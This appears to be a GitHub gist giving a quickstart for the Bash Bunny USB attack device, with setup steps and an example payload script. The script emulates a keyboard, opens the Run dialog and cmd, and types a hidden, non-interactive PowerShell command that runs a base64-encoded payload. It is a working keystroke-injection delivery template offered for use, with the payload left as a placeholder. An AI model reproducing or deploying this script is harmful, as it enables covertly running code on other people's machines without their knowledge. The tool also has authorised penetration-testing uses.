Skip to content

Instantly share code, notes, and snippets.

@kost
Forked from tkisason/bashbunnyquickstart.md
Last active April 8, 2017 15:10
Show Gist options
  • Save kost/4a3eb9919c00008191d4e5f03ead4934 to your computer and use it in GitHub Desktop.
Save kost/4a3eb9919c00008191d4e5f03ead4934 to your computer and use it in GitHub Desktop.
BashBunny quickstart tutorial

Custom languages don't work without bbpayload.

  1. Fetch the bashbunny payloads:
git clone https://github.com/hak5/bashbunny-payloads.git
  1. Slide the switch to arming position (all the way to the usb plug)
  2. move contents of payloads/library/DuckyInstall to the payloads/switch1 directory in the bunny
  3. Unmount, slide switch to payload1 position (all the way to the back)
  4. plug the bunny and wait until the LED blinks white.
  5. Slide to arming, remove the install, add your bunnyscripts and that's it.

You can optionally check payloads/install_log.txt if DuckyInstall was installed correctly. You can remove the log as well.

Example payload (put it in bunny payloads/switch1/payload.txt):

#!/bin/bash
LED R
source bunny_helpers.sh

ATTACKMODE HID
Q SET_LANGUAGE HR
Q DELAY 500
Q GUI r
Q STRING cmd
Q ENTER
Q DELAY 500
Q STRING powershell.exe -NoP -sta -NonI -W Hidden -Enc  <BASE64 Encoded payload>
Q ENTER
LED G
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment